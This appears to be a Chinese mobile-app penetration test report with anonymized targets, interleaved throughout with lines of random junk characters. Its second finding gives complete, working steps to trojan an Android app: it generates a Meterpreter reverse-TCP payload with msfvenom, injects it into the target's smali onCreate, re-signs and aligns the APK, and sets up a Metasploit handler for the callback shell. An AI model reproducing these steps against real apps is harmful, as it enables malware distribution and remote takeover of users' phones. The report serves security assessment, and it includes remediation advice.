! G1 ^9 d' d* E# h/ D0 [7 E3 i) k8 K3 \$ \, f" X' X
: ~, }4 n( U4 a" v
+ V- t9 C7 L4 P( K0 f 表1-2 测试结果 5 D6 \/ J! [2 y! ?0 E/ Q2 D4 L
6 f1 N5 c% }( I g2 A) k
& N; W8 U' r7 H- W
$ J' S N9 S$ m; u3 a- V
+ q3 o& r0 I5 f& M7 P
- `$ O9 h4 L9 u8 R, G5 c
% y5 K7 `3 `! C8 R5 C1 u
0 |3 p$ ]3 H3 z- e- g: V: A' ?( U
4 [ q" p# x) j; O
& I, Y# s- ~" \2 S+ P; U0 D+ S
5 C2 W$ e. N8 \' P* @1 {, |3 J0 |: m: U( F) g8 {
2 检测结果
! ~( n- F8 z6 q1 s/ o/ B6 R/ `
, |7 \3 f- H$ `( j7 L+ x1 _
6 M0 O2 X. ~! o" C" S5 s6 B- @7 E2 J6 X) B% E& \& D! j
; i" G' R; {: B; h. \. m
) Y* Z% c0 z0 W& e4 F# _; O7 k 2.1 某某某
% B( \* Y: c# U. G5 C7 ^8 G
* k% z2 M5 e5 V+ w0 F; C6 L& `
1 Y7 V3 P/ U9 Y" `! A5 V& Q' P0 b I# t3 C4 X F" G
! h/ \7 S+ I7 I$ Y, s, s4 \, s( q1 j, e- v% t& c
2.1.1检测目标 $ r7 T" F1 \$ e; t/ |1 O
+ u* ~( \, s1 n: P: `
' e. K L- |8 _! S7 Y' ^- i
& z# ~" P+ F% f( Z2 l# P: u& { 5 R" }- F! c/ d7 q! u
1 k9 Y* H/ k5 N% ^+ x 目标地址: 某某某某某某APP
0 V8 c6 e# b" V4 Q/ G4 L& a; s- K; J A* C: y( z
: q( P4 ^' `5 o% b" m( m
; s5 F. a* Q f ) R2 Z, n* p' V/ [, e- p
9 u, H, |, U- v% D( E 2.1.2检测结果
' c7 Z. }6 Z! u3 t+ j+ V. P& x' f8 m- ]" S5 H8 f3 z9 y) s
( r/ v1 j, U) M5 \4 h' M: m
" m/ _9 r8 l0 D
& X# k" S- g, q0 \& j% q
4 z1 x3 x6 }0 w* @; s 2.1.2.1
- ^3 E& L) m4 V8 L4 Y& l
- U; }6 o* ?) ^" a
/ \0 @" v) G3 `7 S: ~: M
1 M$ a! b( p9 o" h
" k9 C( T- n7 X |/ [1 ?
# H" W4 P# [% @& U, U3 ~
漏洞链接地址:某某某某某某APP ; t z5 A- l& D& t
: w5 ~$ {" c1 P9 f
6 d* f1 u+ }2 Z5 N4 s
Y2 U3 X# a% x+ j . y% B& c" g$ D4 D" d! T( k
3 P5 @+ ^# d# K4 r5 T* r. i/ b & C% U4 ~) Y6 m/ [ s7 D3 g
u C8 n) ^2 Q
: k. [ r, G: c+ ^
& F" n: I+ z* r* R
$ L; N$ |9 e+ q$ A/ v7 g5 D0 a( V; @# j7 b# C5 |; M s
漏洞分析及取证: 5 P4 O* c7 s, I1 A2 b
. I' _( d9 z6 T, v
- X* r# k' r2 ]3 a2 O- r
1 S9 X! ?* e' p2 v! u0 ` % D) A+ u* r4 ^: E7 h
9 R( M3 V* D3 I% a& d ]+ X
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
8 ?: q" B$ M6 h8 v# w' f4 w1 F5 l* w9 [& V0 H. C
# G0 A! ~- F- M/ U i# _4 h: m# a
/ B0 B* }0 x( U% o! Y' |+ t: i+ }
) }/ H: z- J# r) o. j& I7 f- V& R6 q$ e& G
3 u! w6 K5 m' |9 u
- T4 c+ | k5 x/ ]3 j9 V7 N
# P$ `6 l4 {: A# d* K% k$ `! I
$ G# u u( U5 B
5 g3 P1 A5 C8 G( c @* y6 h
4 H+ ]- B/ ]. F9 G% T- M
; \2 B9 Z0 P8 W* }, M: n1 j* d. y" \4 Q$ w
& j; @# }# ^) {) R1 x6 I" g3 L% r7 [$ o- H
+ D( X7 G* C' y1 b3 @3 o
6 i( J) P2 N/ k8 \7 G$ O
5 E6 ]/ ^# X# P' Z0 ?4 e
1 Y( ]6 Y. Z% e- U; J/ b
' ?/ i- W- H4 v5 F
6 ?/ g: S% |0 h: g$ G
^1 K& E0 X* w+ Y9 L! O) M; O+ C: A5 J, C, `4 l4 x! D* b# u
% ]3 R' n% X5 _2 Z. x, W, p; |: f" c& `& o* R: r
2 C; v9 J, L( ?* D( T
$ L, o4 F" p U
! ~, y( o* p4 K' {" r
& v! Q0 h9 t5 X6 [
3 \# L3 _* A: [
$ B! T* J% e: x+ u1 |# k
8 E' z7 Z" ~% V7 n; S
1 Y/ y; w( O1 H5 q& P+ I
" O9 o7 E1 }. _6 }$ m. B* ^" P3 {* f4 ?) Q* H
漏洞危害:高
& w) r" H8 S9 j& d) Z
4 I# o L; E2 [. u6 g- R8 B
9 o, K* ~5 P5 I& G+ b5 H
N% }2 r0 L! { 1 B) `7 M; ~9 |1 r% V# G1 `) c
* d+ ^7 a* t* F/ g) U8 P + Y _% S) e5 ~2 G c, Z' H
, o9 I0 V1 U C7 X 1 u: A: e- k/ h
) p0 ?) n9 B! T
* w4 I- C" l+ r. v
1 X; G8 {" R" F: W3 X& M | : I$ @ I6 y7 K! L* H% G
( p( l! ^0 l" M" p. S2 R
3 X! R1 j4 @4 H9 _! j* w8 e
; l: Z- K; p% k4 Y 严重程度
3 S- ]/ Y3 q! X7 `
% }6 K) _5 C9 s [0 k2 b 6 E9 I1 z/ ]) R: Q9 a
9 M* E, J' j- v( s) N! u |
_+ J' L* M, h% p3 K+ m* ~; d8 G, i$ T7 R0 D) |/ n
8 ? j. C C# @( Q o. _: g+ Z& j2 Y# `
( D5 K& d, d+ [& w8 h3 n' J/ m, Y
6 z* D: R+ b6 G( q
高
1 F' `- L# e5 Q. D3 Q {
7 O* m: e: T* c# ]+ E
# ~2 }' H$ Y8 p: M0 |
. j% _& I/ w; c4 ~ |
# I+ c: r- D v: e% ^6 Q* F0 G& L% A3 I
0 n1 U+ y( ?4 y3 B0 L" h8 r: `/ n" k, E) ]
# c* w5 D( c& K2 d 0 b9 d' e! a- Z1 [! ]; F" W
/ i r0 N c' T2 v
■ ; U8 m9 O* |; Z3 m. N% h
7 X& O* ^. l( Y/ E
+ e A; n0 ^# X! ~9 \
/ ^, \, K3 d- K
| * y+ V) u% [6 r, V7 E3 P1 \. `; Y
. ^5 A/ i3 m6 t: z1 ~- H # X' R- @, \. z4 ~- @; X8 q
) `/ b- t5 P# i5 }+ I1 T2 ]
6 u. V& ?, V5 R/ M( k2 ]) L3 C! m3 T' K0 r
中
$ @7 N; t$ y" t+ l# z3 w7 J) k
' M5 J8 @6 k4 \3 v8 Z ) v) I+ e3 W" N3 u; F q6 X" P' a6 f
6 C( g( m9 M6 O( `
|
! A$ L1 @ M7 h3 |9 q
- _0 E2 ^. P) z% P4 r $ C0 l! `6 }& Z! o/ R
$ \9 @3 q9 U! D! R6 _: O( X: V
$ _" |; G$ ~9 |
% K T) P- B# j * W. D( F0 K: i! ~
, Z: M& H& Q6 ~4 H* ? 5 u* v! }2 `+ k$ l
/ o% E; I3 H- a- t+ p. v" h. u) n
|
. `; Q& y' ^ ~, U6 ~: c
. b ^5 ^! Y$ c! I' w1 d9 ?
# f! |4 j/ D# G+ v) f9 ^) w
1 F* H8 M8 J( _5 \' @ 2 {0 x2 k# {8 b3 J; w4 M
7 _0 J, N( H: y4 h @ 低 # Z8 d- J' r: _/ L
) Y6 _0 H, Z; O4 U9 U
" E) ^0 D, M/ ~; ~# I
# o# R. V2 Y6 H1 T' k9 ` | ' J* n2 U: J# u8 }9 V
1 s L' a9 u$ a; N + E! U- j! d0 C, d
( n. C: F! ~8 T% V k( l8 c 3 O' V; t& ]3 l/ M
6 a$ A5 \ m; K* a$ Z- o; }5 o- }
- z: }$ E0 }) T, Z* S! T
2 F1 V$ ?6 ?! `% N% m5 {3 F
' D# A+ Z. `) A$ t+ \& I0 H& C: D K q; {1 K' q
| + l* b0 T1 a: |- j$ T' U) ~ }
! y' w- U( z) t% y
& D0 m" \+ X% {. C- q! x1 |2 E5 l1 R3 Y. U* e0 ^
% j% m5 [2 {; x C7 F
+ @1 G; `. X+ T2 x- r
& s4 a. G4 U5 L6 r* N0 Q4 k" K3 P- B* Z' U5 y8 w+ e" Q
3 d: t7 K* f% }! k( F" k- g9 A
# w( w+ o$ Q4 t5 p3 w
7 i4 F) G6 t$ [0 ]" w* S, D4 R5 N
. p9 ]* J: [0 b" [7 r6 e 3 @$ q+ v, j0 S* ?) r: c% V- z
! W) j; ^: D) k7 H
4 T+ t& S: N9 k5 i" G
& D/ t& u% F2 M' e0 z# @; Z
6 a8 i; ?# r# o5 C; G; u9 h! _$ v
! v7 ?. i) }- \' u 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
4 s# ]# o- j2 @! u7 W L3 b/ z; P7 G0 _% A
! v, ]! h7 P4 Z& W$ _" a% X5 c
+ F' X3 [( B/ ~* b$ k
& q* [% M4 W$ N
0 P+ `& i( a( g% p & O0 j) v% B: w/ z
/ o6 g# ~* t4 i
, g+ ]$ j: Y; z2 l: |/ |: h9 I: \( N! c/ K. n/ k6 ?6 o+ c- j
( l( I% @4 x" T
4 W$ L4 C" u$ [3 }$ z6 f 2 c Q, M$ {4 C7 R& r0 s6 S
2 O+ `0 t3 A" R1 f
, i$ b5 p- z$ F. A3 w+ O
% ^% U0 Q5 s0 h4 I
* S2 x5 j7 ?8 z
6 l/ ^% g& F! m0 \3 _3 A6 s1 \ 2.1.2.2
5 K: X+ a* c( _# ^" {3 B( P, ?. C. d/ L' B
& F* i: b9 `9 s
1 \2 ] D* E5 R8 g3 `0 |
) D" `- a$ c6 e9 h8 Z; a' m2 `
3 i) L" G/ G/ Y0 x 漏洞链接地址:某某某某某某APP & S% J6 Z1 i) V5 k* B
7 v1 q! l. p5 ?6 z8 {# Q
O* e* w q3 q, s9 I6 M; }
- V$ W0 `+ e! S
. h+ P6 h- a! n% Y _( i8 W$ G2 k- M* f1 x" a
漏洞分析及取证: ( o& Q+ g. G$ Q6 w' Q9 M5 r
6 f3 q$ B6 w! }
( K6 y' l [3 `4 y" E- a G
* i1 q; K$ F9 m& w& F. r # y; [! B' F6 t5 d T! O) g6 s
2 ~2 J Y5 w% N- t
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
7 L+ l- W) n* ^9 }
/ I- U9 K) v. g/ M, ]- [. X
8 Y5 }5 K$ {$ e% e
2 k+ c q. [# {4 x & E `$ Y0 [& D) v0 h7 b% `" W
5 z+ N# N& `6 N: s0 b
用Metasploit 生成木马 apk 1 ?# j3 ]3 V7 D; h9 S: c: O5 a
* j) D" z& v: A
1 t' b( F+ o/ G1 [4 t9 A6 T
9 B' O4 Y1 ?& Z$ L
; y+ [2 v9 Z4 y( d$ ~# D2 d
0 [) z5 v4 r! s( R4 E* ] msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
% {- v6 U# f- ~7 U; K. ]4 ]8 h5 {
\" E( [7 k z: C: j0 l
; h; s& R$ j5 W k7 v t- L! [) _. {- l
' Z% Z9 y! v4 c' i 反编译目标apk和木马apk ) s C- _6 ]+ N4 I* _8 C' G
2 ]( }8 E5 _3 }# g/ Z8 @
8 { T4 {* e$ e' u- m2 u, v' H. |0 W- A6 D4 s, \. \& e+ F8 O
1 Y8 `% \5 g1 \. o$ G6 r, S/ f' ?7 |+ f9 K S# T
apktool d target.apk
* s; Q$ O$ b* W [" I4 i+ c" i# [) X7 g# W; K( q
apktool d cockhorse.apk
3 i! l8 _' e8 F6 m, \4 _. q
7 C' }* w$ a+ j4 S6 w$ Z' J- g" ^
- x. @) v& p9 l( y `' c0 Q
! k1 W+ ^$ t$ \1 ~8 [
" ]+ `: p$ T# k" N9 {& h) O7 t7 L0 O4 U' I0 \, t
木马 apk 注入目标 apk
; t! e, [4 T0 w+ ?5 q, f s# O3 b+ f9 U" }
& q* X" j1 h! ~ X' E9 Z$ n2 s% [2 X1 h1 g# l
: ~- h7 c7 Z) }! X# e" V- p" |+ T& o
- A# [' _$ k$ }- \4 ^3 @3 x 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
: ^: W: h2 h8 {0 ~4 i4 R
8 d( X/ t- Q0 k invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
. e6 I$ l5 Q% z8 e2 X+ e6 E& i+ [* G
' V3 K- a5 i* ? J5 J2 O5 o) {) \7 P* u/ q: y4 D4 q$ V
% x& c* X, h B1 I7 U& o8 F' U( ~
6 {* {; }9 B7 L1 T9 `2 V" J# k0 o 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
8 G6 h' F7 p \ x4 b( T* o. G8 e, B/ P" T4 n9 @
3 a/ y/ Z) e' f0 A
6 e- y- a2 `: ^3 @* ]7 i - e; r; j( U/ @* o- k4 Q# E7 _
7 J" k- ^- e- O, d# ^2 O
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下
/ R- E( s2 K; p; B+ l" o8 i% l0 k/ w- ^/ ^
9 d2 W) i0 S: w8 i( b/ I" P1 I
" M0 k1 e/ t! m. k5 \) f8 `( M ' I5 m+ ]2 b- e6 t: C! W! [
+ \: l1 {0 J6 O" ? y
回编译生成最终 apk . A. u' [5 S6 J! P
% O7 U5 ^" y$ D
$ T" e `1 z. i" ?+ l K0 z9 h0 I; b
+ n/ |* _3 ^) p
& A2 C8 Q B9 B! v# w 重新打包 3 l1 m$ W4 V* Z4 T2 D' \0 d
8 }- D ?, ]7 k# V
/ s9 Q% }" H" y% u# w2 \% Q
' O+ S5 A$ j5 i& n& J$ Q
1 h; t' K: D& f- s3 G9 {6 \
# n( Z$ E( p- j" w% { N" f0 S' F2 r! K( u apktool b -o repackage.apk target_app_floder + m$ T, o0 g/ i3 Q8 e6 |1 P
9 a4 l& z; V/ j- ?7 a# j/ g
9 s9 K) X' u( v2 u% b6 D# C% ^+ ?
+ X( X9 l; g2 n 5 Z2 t$ P! \! {/ q
" Y/ U7 @2 m/ v7 y# b5 I3 i8 n 创建签名文件,有的话可忽略此步骤
! |- U9 ]7 `/ M, v' k9 P
1 m4 G- t: e5 P1 `: M$ t& C
0 _3 B; b% y, L' d) M. t) Z3 t# h( J( B P
5 ^1 \9 c/ c; z3 J! s8 Z, a% s6 @1 S; l& j* e
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
( x$ y- Z$ {2 }$ M$ s+ V5 l
1 F0 s' w$ C6 @2 i
4 O/ [$ ~* q0 Q i W1 ?3 W
/ s$ g. H( V4 V+ r2 ?
2 ?* q$ N1 M0 D' |* Y
0 w3 M4 v1 B+ V/ Z3 @0 ]0 u, o3 A# Q# u
签名,以下任选其一 4 ]# J2 `( _ d$ J9 j$ m' o! l
& K* Z! ^3 U) X
1 y0 z0 `( C! u% G$ F# \5 b/ O
+ a2 |; h$ }" o# S: W / n! ?6 s& z; \1 s a) i, M
" y4 a; n7 S1 v5 a$ t
jarsigner 方式
& D J1 u4 t2 Y9 y9 v: E, f9 M: t9 B% g$ G" J
3 [' ~- \% k6 ? [# c5 F, c
; q0 N& c; D7 D' v5 d4 R( ~% L % V n' z f2 M- r' i& B
( |2 u! a- B( R& R: t0 C jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
$ W3 F" W# }6 u! U& a; \1 z6 i+ N1 Z2 B
$ S. w; l. W! v2 e0 O, Q. B9 R; p/ y G
: _( G: O/ G5 I6 k4 H) [5 c3 D! o$ N- w6 ?4 l# _: |9 M
apksigner 方式 W7 _( i( g2 f5 J
/ _8 ^8 K/ c3 |+ `9 k( y
( j5 Z8 L4 b5 @8 U6 w5 G; x
' |" n- Q) T+ e' d- e
1 l) t- @2 e/ Q' O2 ~5 H5 q
9 E/ F) a0 a5 c+ e9 A: C apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
0 X% ~' \" O" e! b
: c, S& V: a; K5 l% @- ~
1 y) r3 E0 r) N4 v
/ @% O7 _6 ]. j+ y' @; w7 P
7 m1 I/ L/ S5 ^, @7 y: C2 H
: v6 q4 D8 y7 k8 t6 m 如需要禁用 v2签名 添加选项--v2-signing-enabled false
2 t9 J' C% k p9 ^& d$ x8 s/ | {" o. l8 s! `
. E& g- \7 q" k2 R, j
; \1 ?/ P$ w5 b" Z+ Q5 V- a! Y! w* \
6 [$ o& O- F+ j$ L1 b! D6 a/ E$ P6 T& u, l$ r' s9 I* v( H5 P* C
验证,以下任选其一
) K) O' i# Z7 ?1 Q4 Y# v$ _7 I+ ~0 W5 E( G$ l7 I8 D' S
7 B( ?5 R x4 s/ i% e
( I0 E$ d& ?0 {$ B p+ ^ 3 K. n8 x, w$ Q% P+ g6 w& Y9 d
z7 Z, x: k: @3 A& l9 F jarsigner方式
! t" c( r& N, J3 T b0 s5 q! R- d
* n9 ^) M/ Z: S% t2 X) t
' e+ g. f E! [6 j/ i
/ j" a: f% k3 @5 O6 E, ?( q
6 \# `' i9 U- Y7 ^4 \( i
, R/ y+ L$ f4 q% ]3 f5 \ jarsigner -verify repackaged.apk
9 z/ F# _* k( |& T% V! |% O Y! _+ B& o3 @3 g
, P' w0 G& u- t( J& w% i0 B/ }7 _; I% a# a; S4 ~" L
9 h' Z- g( `' a M$ ^$ n* ~5 @
; d( J) t( @2 A- q
apksigner 方式
! f/ h) V* ]0 q5 R( Y
2 s2 O0 E' N( \' c) Z! `" K# t% l8 Z
% R1 h( A) a8 Q5 O, p5 e
8 S/ h+ R3 \ N+ H! O& R
$ H# p8 a! J1 T1 {. e' ^: M' ^2 W
6 a: q- K; P+ z, t* i9 }3 n apksigner verify -v --print-certs repackaged.apk 6 P5 n0 D. R# ]6 u/ h+ o1 z
5 ~3 C9 h' p& w6 k
R5 g6 z2 {2 B) T4 X" t) T% k9 y" X% k4 h
% t0 g' c8 Q, l' R+ m3 o* L8 h+ K4 _7 f6 W( l# A8 N
keytool方式 - N* G; S* m- q3 z
- e3 G% U$ f, M! r. g: D
5 D# e: ^( v2 V1 I
5 h# B0 @' d Z0 t/ Q
* f0 [% d9 @/ C! n6 W7 x
& a+ V) l2 f/ M: ]" a8 t2 \
keytool -printcert -jarfile repackaged.apk # H5 t( Y, Q7 o2 @
* }: s' m. V& ?3 G' U2 J: x
1 |1 @7 ^% l o$ Y4 o
: i9 U. t7 @! x# i' t4 v+ u
7 [ Q) |1 z* O4 R5 Q9 N, f, ^% J% ?9 X. R9 G! _
对齐 4 `; u6 S, X, v
3 f% h7 v; Y% ?% v: J$ r3 l. I
2 @, w0 b2 W8 ~1 `* b, q% v* A( v: Q- i4 B0 t, |# c
& n( a- c% P/ K) c' w1 n
/ ]# Y3 Z, w$ N! ^
字节对齐优化
, b, L1 E: F: [' X) z
0 }# q. o5 ]9 q" [
! O; ?6 g) A6 C* N3 |5 T& w
+ y6 H8 \8 d) J2 u9 a4 g ~) r + t+ n! C0 U* u* X
/ I$ o: f6 s2 N' e+ H, I5 Z) ?+ l zipalign -v 4 repackaged.apk final.apk : D1 u" l4 t t4 X! ^' M
9 U0 a& ~; W' a( N
9 y/ D6 N7 v( A+ D; s. S. }$ r6 }& L G. |5 n2 {
- b+ [3 P3 s' b9 J, B. a; ?! m4 O+ Y9 y( o/ v
检查是否对齐 + m' X$ j) ?9 D5 J
9 k# @4 k% [6 X' A# t0 \( @# r
! }" A7 U; J/ X( E$ v& A
7 Z0 [% b4 Z8 M K* z( s" M; P0 R! d! ?
& n4 \* B* \8 l zipalign -c -v 4 final.apk + N9 Y0 V8 ]! n; |1 g0 X& n
% @% z L1 u& q9 k
t j+ g# P# ?) v& a5 ~, |" N, Z; Z- H' n; i
' h; k* E1 K8 \. O2 j" |) }' `
, P' o" C7 a: J6 h; N; u& A
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
! g4 v& T9 f; l! o2 c, t* G) W8 w* M6 n# ~( O% m N5 t* E
$ C& M4 J* U' [$ u& |
0 f% {( s$ U( }; r& o' H3 f ( q' K1 ^" c" n# k
$ `+ ?4 D9 q; e 启动Metasploit控制台,配置参数等待上线 ' g5 e% N4 p2 g( X; y4 b! Q* z0 C
5 A, h- a; V2 `/ b: ~. |2 B' @% o
* `$ m7 Y4 R9 ]3 J) u& ~3 M% [4 z
' g2 M+ Q8 L" b. g
6 _" J4 [9 D7 T1 s
3 I( U! N. F- L; w$ Y q8 \ 在终端依次输入如下命令
1 g' G( W* r2 s3 e3 ?) P) ` R
9 ~$ `0 T( e" Q$ j
& j( y) i' D5 C+ i' h4 w* m8 k) C3 g) E9 g* a+ Y
' X1 d% L; `/ l% w& H2 o
* ?( p. N. y) I$ Q+ j; u/ B( @2 E3 K msfconsole 1 D! ]8 x% v& @- c( h7 d
0 k. K5 n2 r4 ?* ]2 o/ H
7 t2 B1 Y' Z% @* p8 F- E1 t( k( c
0 u4 B9 L% Y% Y3 K : e v4 Y% l2 [3 X! [7 `) B
- E! p0 T3 ^; ?: k
use exploit/multi/handler 0 l" m7 ^" U' o& a% ~9 z9 @
: Q; \, }2 ]! y; O4 u5 ^3 Z
! ~9 u8 [) W0 w+ A5 @# I" g0 d- a. `7 ?1 K
% O. d5 m& O! e- E, I
: I5 `, j2 ]& o b7 v" Z- Y( h
set PAYLOAD android/meterpreter/reverse_tcp 8 ?6 R8 \4 Q' z% J4 d) j8 y
. _( z9 B7 ^' B5 {; ~
( s, Q- r J; G4 e+ I x t- a: ?' [5 { }" P! O
$ X7 a8 @2 e) t* I, W: g5 c8 G, Y- m5 o6 b9 b. W! T- I, b
set LHOST 192.xxx.xx.xx # V0 r# {2 g4 \3 w# z
1 d) ^/ H. l& B6 t" f$ [) |7 ^
H( [7 y4 f8 e; S2 D8 N( r/ O, @
- E) p3 X- y7 m, ?' P5 T
N) s: E5 I- O9 T9 R- Q, ~3 `* p3 Y9 V$ I2 d, U
set LPORT 4444 7 d7 [7 \$ }& @# t6 [: v
( h: P' b# P9 V/ ~
% b/ J6 Q, `5 i7 b
5 t3 }- g k' Q 1 }& J: I7 w9 L; ?: ^' H& W
2 R& Q1 W& x( U1 q) K exploit
0 \ i' e+ q7 _- y9 w0 o! b9 [8 g& s. z: W; T% Y
8 E: F6 t3 u m! W; r
- H3 z, v- j2 Q8 I" l1 a# J
$ L" T1 H- a9 j) R
% j' P7 U! [& V; _, s6 C9 E& { 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
% C* }( h3 c8 d3 v) H9 s& g6 p. d9 f. V5 j! i" R
* c/ j" B0 G6 _# c$ x4 r
6 K1 L8 Z% D3 V ' I! h3 k. i7 a9 r Y
1 q3 ^8 Y6 S8 r3 r7 g
漏洞危害:中 ) B) @4 p4 U2 N+ L: \8 H
2 L4 |4 P# Z6 h3 N/ I8 A7 N
: }, |" m: f f9 U6 I9 J& t
( w9 a$ T6 A- z
a5 L. L3 V. @' k2 e- E
4 x0 v7 {$ b3 v$ d; s- J
- H; a/ W* m: }5 E0 b
- [$ m0 V+ m7 ?) y+ I* a2 q- d . |$ [4 Q; s$ x$ t7 I1 z
' A# X8 ]! E# y
, E# s, |; `( U* X; f0 S7 v% A
! {* z' Z9 s# u3 e$ R- c # |0 V0 r2 k: g' s+ c: K
% k' }; i4 e0 w" X3 K/ g9 T k, V | 3 L3 E5 Z7 l3 [6 \) v3 K: T- X, Q; {
, ^6 I: a; o+ m# E6 r2 @
- H) T+ F7 g% x1 v3 V8 K: W. b: E( v1 y, L
严重程度
1 R# T- y' u: B2 Z b1 _$ V* ^2 M% M
, h0 H' s c+ N* \1 v
" u* y2 ?9 M R1 u; Q9 A) N
| 8 G0 {! e8 t4 Z' F+ c
# A- i" t! D' |8 x* Q( i
- b! P$ o9 V9 j8 o$ B
7 |+ e6 r _8 o; } 3 c' [9 J1 \" V
4 ]7 w; h4 W5 t4 ?) x 高
4 o& ~3 N& s5 x* P% B5 d5 }( Z+ x
+ e' g; V7 t2 {* l" n' F- f: i' v, x+ X! t; o/ K1 L5 ?7 [+ U" {- o
|
. C1 [$ \( w/ h3 S2 {) z
1 n M# j1 {" l- [% [0 u( A, m% }% ]
+ l+ ^$ D" |. y3 X: U5 u) G: r, D# O9 x% }( |" b6 ]. n! R
^9 t' t5 u {' Q) r" ?% J% @ O8 \1 y+ h) M
■ + H4 j9 O& { P; \0 n
6 [1 v& A$ Y; F' z# I9 ]+ H) Z* Y ! a" \% d3 Z- ~9 ^7 [# _
: y6 x; {5 T& z! ~
| ( F$ L$ r/ |0 `8 Y$ g
/ K1 ^% s+ y' S7 Y0 O) r, W3 o
9 R9 f& x: X( K/ f' j5 @5 D
$ {* r: l! `' o/ E7 \! h+ y! a
+ P& u6 }- Z7 {2 S0 o0 V- f( g7 h# B' D/ q- Z5 i$ Q6 V* y
中 & Q( s0 z" O9 } Y
) b+ ^1 Y6 }# [5 R8 F
9 G' d: @# t( Z& [4 k, e9 g0 y
) w# D7 a% a. c1 k
| + L* h8 F! i# a+ `
3 t6 v& U( E5 ]4 f
* C- P' z3 s$ o8 s1 e0 h
3 X9 k3 C, t. X, i5 o7 K+ K
5 L/ r9 s7 N _" V I q5 P" B- m
& |. F% b& |! t* l4 J( }
* m# R) S& p: V8 N4 M! y
* K( w7 E. R* v, t; |, _: U 2 e! ^1 x+ K3 P+ G
" c I; |1 p) [
. ^- H( k* q2 V5 e# N, Z
$ C. {/ n1 y* [ |
9 q1 ]. A0 ]& r/ H3 E0 k" J. G7 U5 a9 o
# o7 z' i# ]2 s, z0 ^9 b/ y6 H h
0 X s% l( R H1 W, Z0 r : Z s* _+ c( R4 H: |2 G- M
, y9 j# z6 D5 Y. ?( x8 k' `
低
& Y3 n) r: h+ Q- ~- Z! N4 [2 w& h0 }8 e q8 @" @
, z$ u! F, t; O. ~1 r
7 W- \* e1 k2 U Z; m5 V | 4 _; P2 V6 L6 _
6 c$ b3 c ]% ~6 l/ P
( W3 u0 S5 E4 {6 m7 Y0 O/ b. L0 h( L0 x: K2 z
& C/ M, b5 D- E8 h! y+ ?4 b+ V3 G1 c, C, Y/ h0 i4 O5 w# y
7 u H6 w% d5 q/ a! h9 c, I$ G9 }4 j2 }. m. J. F
9 `/ }* B9 c6 N0 U: f
2 d: m' W* m8 P2 g
2 f! B9 w N7 D% V& F4 O
5 I$ `& @& J3 |6 p4 ^9 u5 L |
6 [& {- C7 f* m6 K: h( `7 ?1 P) G) k/ e( y
2 w4 b/ Q9 v* A6 a6 L; O- o: U4 ]
0 F! g) }- o& w% G9 D2 m0 y7 ^) W1 ]
' C$ c9 x$ O% f% v0 h& t3 d
5 l/ D5 S9 o6 l$ o
5 ]: K% S) P) ]) @1 ?, |0 j0 v
( G: s* r' }1 ]7 u8 ]
7 `! p4 ~# q ^; u& H0 L5 Q) z
5 H& p, I) Z. A$ B4 ^2 |" y
9 k8 k* O9 `; n/ g& }, {8 h! P' ] n) j, K/ r6 s6 C3 R; W
. {) W' N) v0 w
- B- _9 ^% t7 X0 y. \
0 |/ |7 p) c, V# ?; ?. K c' D7 K G( R" H6 q% d
* Q5 C9 E0 O; _( z2 S$ C# G7 w
修复方法:
. [4 @ U, S& r g
- p4 o( }) E7 _" p( u$ s& l
; o5 C2 e5 ^% V ?- i4 n) o9 m C/ l+ p: _8 f1 m
9 ~- H" B7 Y% {9 E/ q, H+ h7 i) ~; A) M0 u6 w
1.在 APP 启动时应做签名校验防止二次打包。
( O1 q6 D4 r" q1 T" e
$ f" a6 h$ ^, j5 f8 w# l 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 , N- n O6 ^- n( c$ Y3 b
1 }, z* U: P0 f
6 `# L* {) w8 ~
3 O# P) n" s+ L* x' M' P+ u
]- }; g( Q9 b
1 r ^2 W7 l+ }4 P, @( m# b8 h
6 m) _; N: C6 Z) x. ~) N- f( P/ y3 w8 ?* l4 w' t
% O$ B0 I! H5 }: P- e4 z
. I, [$ B8 ?6 |3 k; V+ B/ O2 Z/ H
) _0 a$ D: ]& T; s' |* y
! x* g4 M% g0 @$ L' W B: @- P ) m* g* a- g& c$ M- T& P/ M6 n
2 L. B6 b6 T) e5 C; M* q* g% A
/ J) a3 o3 q1 k$ B
) u& }% w g8 {5 K% H2 [
3 W) M8 ~3 w6 g* Q2 {
! ~3 @2 i \# B& g# P$ y4 h
- p V+ g/ j9 V, l* e `& o8 l
1 \/ `% i' E4 P6 I4 ?" v5 }, ^3 k* j